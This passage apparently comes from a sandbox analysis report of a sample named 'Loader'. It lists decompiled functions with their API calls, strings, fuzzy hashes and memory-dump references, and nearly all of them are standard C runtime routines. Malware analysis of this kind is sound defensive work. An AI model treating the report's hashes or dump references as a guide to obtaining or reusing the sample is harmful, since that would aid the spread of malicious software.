Instruction ID: 2695c9cd8a029d07eec4914d83941c8111767d2b06d1f6aeb0314c8cba14d5d8
Opcode Fuzzy Hash: ff1da80e3158df106676f4bc4458ff56c0fa45bd49e40265d9c3dd0f2ab97688
Instruction Fuzzy Hash: 4BF0F6362003045FDB245F79EC95E7A7B95EFC0768F09442CFA854B690D671AD82CB50

Function 0093D2AD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009381D1: EnterCriticalSection.KERNEL32(?,?,0093C6E8,?,009592E8,00000008,0093C5DA,?,?,?), ref: 009381E0

EnumSystemLocalesW.KERNEL32(0093D2A0,00000001,00959368,0000000C,0093CC01,-00000050), ref: 0093D2E5

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 7a66a64bee84e7e7b992b5a5882dbfc9ba69718686e2ec1f0fb3787756487c29
Instruction ID: 20871fdc0b5cb252fc20d6076c71b6d403041a08a2ea22c25b2df1217db412cc
Opcode Fuzzy Hash: 7a66a64bee84e7e7b992b5a5882dbfc9ba69718686e2ec1f0fb3787756487c29
Instruction Fuzzy Hash: 13F04932A19304DFE710EFA9E852B9DB7F0EB88726F10812AF410DB2A0CB7959009F41

Function 00941A05 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(?,?,00935585,00958E90,0000000C), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000), ref: 0093C300

EnumSystemLocalesW.KERNEL32(00941A50,00000001,?,?,?,00941475,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00941A3C

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 31e0e8a4afce4a264dcedfc8116ca8db5e60ade2e42ad53007906e7558024d09
Instruction ID: 57a470b6b0b9296cf8e3b092f5c8d4683e2729ad8a8ec89b8eb98148f0efc282
Opcode Fuzzy Hash: 31e0e8a4afce4a264dcedfc8116ca8db5e60ade2e42ad53007906e7558024d09
Instruction Fuzzy Hash: DCF0E53A30020597CB189F79D855A6BBFA4EFC1765F0A4058EA1A8B251C671A882C794

Function 0093CD05 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00936F23,?,20001004,00000000,00000002,?,?,00935E2D), ref: 0093CD39

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 4c4ccac41a18569817b82c38daf2dc7674200bc8469825f5e27407df5a1e441b
Instruction ID: e77ce6bbf923982a249ec1e9df8fdd1b914560b86e3cd6aa6d56f6349e055487
Opcode Fuzzy Hash: 4c4ccac41a18569817b82c38daf2dc7674200bc8469825f5e27407df5a1e441b
Instruction Fuzzy Hash: A7E04F7150561CBBCF122F61EC05AAE3E2AEF84751F044420FD5566160CB768D21AFD0

Function 0092F9CD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FAF0), ref: 0092F9D2

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ec0381ce1d89af2ac268b4db933774394140d4d4f7b611bd6784b21431d8fa0f
Instruction ID: 7a0c71a1c3e609c97550d97770ab8e7860d8d375273be307bba048d1ff7554ce
Opcode Fuzzy Hash: ec0381ce1d89af2ac268b4db933774394140d4d4f7b611bd6784b21431d8fa0f
Instruction Fuzzy Hash:

Function 0093D9D0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0093D9D0

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 9d3ba7bee43692267cf03424bee886db0a53dbf0f19d889ec3f66bfb767b1e03
Instruction ID: d0a2ac2d95ebbba1702ff59974ec9c9659dc30fd9f0a28c6e6a0a82849f94983
Opcode Fuzzy Hash: 9d3ba7bee43692267cf03424bee886db0a53dbf0f19d889ec3f66bfb767b1e03
Instruction Fuzzy Hash: 85A0113022A3028B83008F3BAA0820A3AA8AA002C23008028A880C22B0EB308000BF00

Function 0094ABD2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02D5FE18,02D5FE18,00000000,7FFFFFFF,?,0094ABBD,02D5FE18,02D5FE18,00000000,02D5FE18,?,?,?,?,02D5FE18,00000000), ref: 0094AC78
__alloca_probe_16.LIBCMT ref: 0094AD33
__alloca_probe_16.LIBCMT ref: 0094ADC2
__freea.LIBCMT ref: 0094AE0D
__freea.LIBCMT ref: 0094AE13
__freea.LIBCMT ref: 0094AE49
__freea.LIBCMT ref: 0094AE4F
__freea.LIBCMT ref: 0094AE5F

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 696cb4200a5372cecd2a0a7a503a9fe8eba6d3d590d31a6042c12bedcecc6df5
Instruction ID: ac16e40c764591f6632fd173378048ae33536e511e4a799889bc2a2b0fe7a947
Opcode Fuzzy Hash: 696cb4200a5372cecd2a0a7a503a9fe8eba6d3d590d31a6042c12bedcecc6df5
Instruction Fuzzy Hash: 7671457298021AAFDF219F949C81FBF77BD9F88311F290459F954B7282D7359C408BA2

Function 0092FF19 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0092FF60
__alloca_probe_16.LIBCMT ref: 0092FF8C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0092FFCB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0092FFE8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00930027
__alloca_probe_16.LIBCMT ref: 00930044
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00930086
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 009300A9

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: d39713483e30036d995867c45598871dbb4eb46365247d3705966feb33caba6b
Instruction ID: ee999a9ef3234c13e5a853d667ba9e1e81bb5b3c031d827fc850e288f501ae21
Opcode Fuzzy Hash: d39713483e30036d995867c45598871dbb4eb46365247d3705966feb33caba6b
Instruction Fuzzy Hash: C9519972A0021AAFEB249F61DC55FAB7BB9EF84751F244429F914EA190DB74CC40DFA0

Function 0093EF66 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0093EFEC

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 309372e1b85383027f5ab3e61afc9e9d3cd39e927fa71fceb5061bf3fbab3fd7
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 1BB15672E04355EFDB158FA8CC91BAF7BA9EF59310F144175E814AB282D6749D01CFA0

Function 00930E30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00930E67
___except_validate_context_record.LIBVCRUNTIME ref: 00930E6F
_ValidateLocalCookies.LIBCMT ref: 00930EF8
__IsNonwritableInCurrentImage.LIBCMT ref: 00930F23
_ValidateLocalCookies.LIBCMT ref: 00930F78

Strings

csm, xrefs: 00930F0D

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7a8731da458782571336c5759c5595467186e793ed8ffd180c1bf81cbb553572
Instruction ID: dc4f7d723b56022951349d52ed5de25e9776a3fcc1ff5368f708d17582526add
Opcode Fuzzy Hash: 7a8731da458782571336c5759c5595467186e793ed8ffd180c1bf81cbb553572
Instruction Fuzzy Hash: 7A41C134A002199BCF20EF69C895A9EBBA5EFC4324F148555F9189B392D731EE05CF91

Function 00930170 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00930176
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00930184
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00930195

Strings

GetTempPath2W, xrefs: 0093018A
GetSystemTimePreciseAsFileTime, xrefs: 0093017E
kernel32.dll, xrefs: 00930171

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 05b0a231592d6d5eb061e52f4506b444e09de8878fef4f775197cd1509362463
Instruction ID: 3e2c8d6c8a933c610e6dcb376aa83955c6ed738acd1eaa683c4302c31aeafba7
Opcode Fuzzy Hash: 05b0a231592d6d5eb061e52f4506b444e09de8878fef4f775197cd1509362463
Instruction Fuzzy Hash: F1D05E7153A320BF8350DF7FFC0D8857A64EB847573420165FD81D3214DB7004849794

Function 00945071 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba502d6ab41cfb992a5367d62578af6bf4762ec459f5b76d13aaf3d7829a7c9b
Instruction ID: fcf05ca5ac0fb5d35b8737717aa2b0c51d67ff2ec5dfff3efc36c73c20222655
Opcode Fuzzy Hash: ba502d6ab41cfb992a5367d62578af6bf4762ec459f5b76d13aaf3d7829a7c9b
Instruction Fuzzy Hash: F7B104B4A08A49EFDB21DFE9C880FAEBBB5AF85344F154158E41197293C7B09941CFA0

Function 00929CD0 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00929E37
std::_Throw_Cpp_error.LIBCPMT ref: 00929E48
std::_Throw_Cpp_error.LIBCPMT ref: 00929E5C
std::_Throw_Cpp_error.LIBCPMT ref: 00929E7D
std::_Throw_Cpp_error.LIBCPMT ref: 00929E8E
std::_Throw_Cpp_error.LIBCPMT ref: 00929EA6

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 2a4bf6f0f59a9c0a4573baba9315835f35123cd182a05518b2e58b812665c8b0
Instruction ID: f17e8e28457241dcd3823af1869ac1ec060c1508bd3be849648f3fc04e849a5d
Opcode Fuzzy Hash: 2a4bf6f0f59a9c0a4573baba9315835f35123cd182a05518b2e58b812665c8b0
Instruction Fuzzy Hash: 5841E5B1900720CBDB30DB64A9467AFB7F9BF86320F04062DE57A262DAD7746500CB52

Function 0093ADD7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0093ADCE,00930850,0092B86F,F84A4DD6,?,?,?,?,0094C0BA,000000FF), ref: 0093ADE5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0093ADF3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0093AE0C
SetLastError.KERNEL32(00000000,?,0093ADCE,00930850,0092B86F,F84A4DD6,?,?,?,?,0094C0BA,000000FF), ref: 0093AE5E

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7c8b94cf269bdb9df1fabcf8eaeebc6319b99961fd23038e634b4c7d92cf3412
Instruction ID: a04c1bb0995379b5b4429e794afa58314dc0ed7ec469f782a2ac2215635715ee
Opcode Fuzzy Hash: 7c8b94cf269bdb9df1fabcf8eaeebc6319b99961fd23038e634b4c7d92cf3412
Instruction Fuzzy Hash: 8201AC7711D7159DE73427B6BC95E2B27E8DB53B76B20032AF660450E1EF618C026B42

Function 0093B65E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0093B77D
CallUnexpected.LIBVCRUNTIME ref: 0093B9F6

Strings

csm, xrefs: 0093B708
csm, xrefs: 0093B69B
csm, xrefs: 0093B7B4

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 345252596ea44100ed5e1b81ac48c107f7951c814e8046a5b5730fd9cc3dbd9f
Instruction ID: f469aad745b3960b36961a0ddc208c05e085dde2a27ee1ecc847c20d0cb87aff
Opcode Fuzzy Hash: 345252596ea44100ed5e1b81ac48c107f7951c814e8046a5b5730fd9cc3dbd9f
Instruction Fuzzy Hash: 35B1CC75800209EFCF18DFA4C881AAEBBB9FF84315F10455AFA15AB216D734DA51CF92

Function 0092BF85 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0092C034
std::_Ref_count_base::_Decref.LIBCPMT ref: 0092C118

Strings

csm, xrefs: 0092BFA7
RCC, xrefs: 0092BF9B
MOC, xrefs: 0092BF8F

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: aeecd84eb6bf6b099eacd9a4362767e9223001c1437dc46b1cdb10d92c4d6b45
Instruction ID: 99a43db571bcf86c6fffa31daeb98139f0cd99a62ab6ca2b7cf4aa77657b3384
Opcode Fuzzy Hash: aeecd84eb6bf6b099eacd9a4362767e9223001c1437dc46b1cdb10d92c4d6b45
Instruction Fuzzy Hash: 8241BAB5800214DFCF24EF68E545AAEB7F9AF88300F58806EE445A7256C734AA44CB51

Function 009356B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,F84A4DD6,?,?,00000000,0094BF84,000000FF,?,00935775,00000002,?,00935811,00938486), ref: 009356E9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009356FB
FreeLibrary.KERNEL32(00000000,?,?,00000000,0094BF84,000000FF,?,00935775,00000002,?,00935811,00938486), ref: 0093571D

Strings

mscoree.dll, xrefs: 009356E2
CorExitProcess, xrefs: 009356F3

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 83969f3a92913ea3967f170b0d581d26a87ebd5a2dfda738a7e1c8882eadca6f
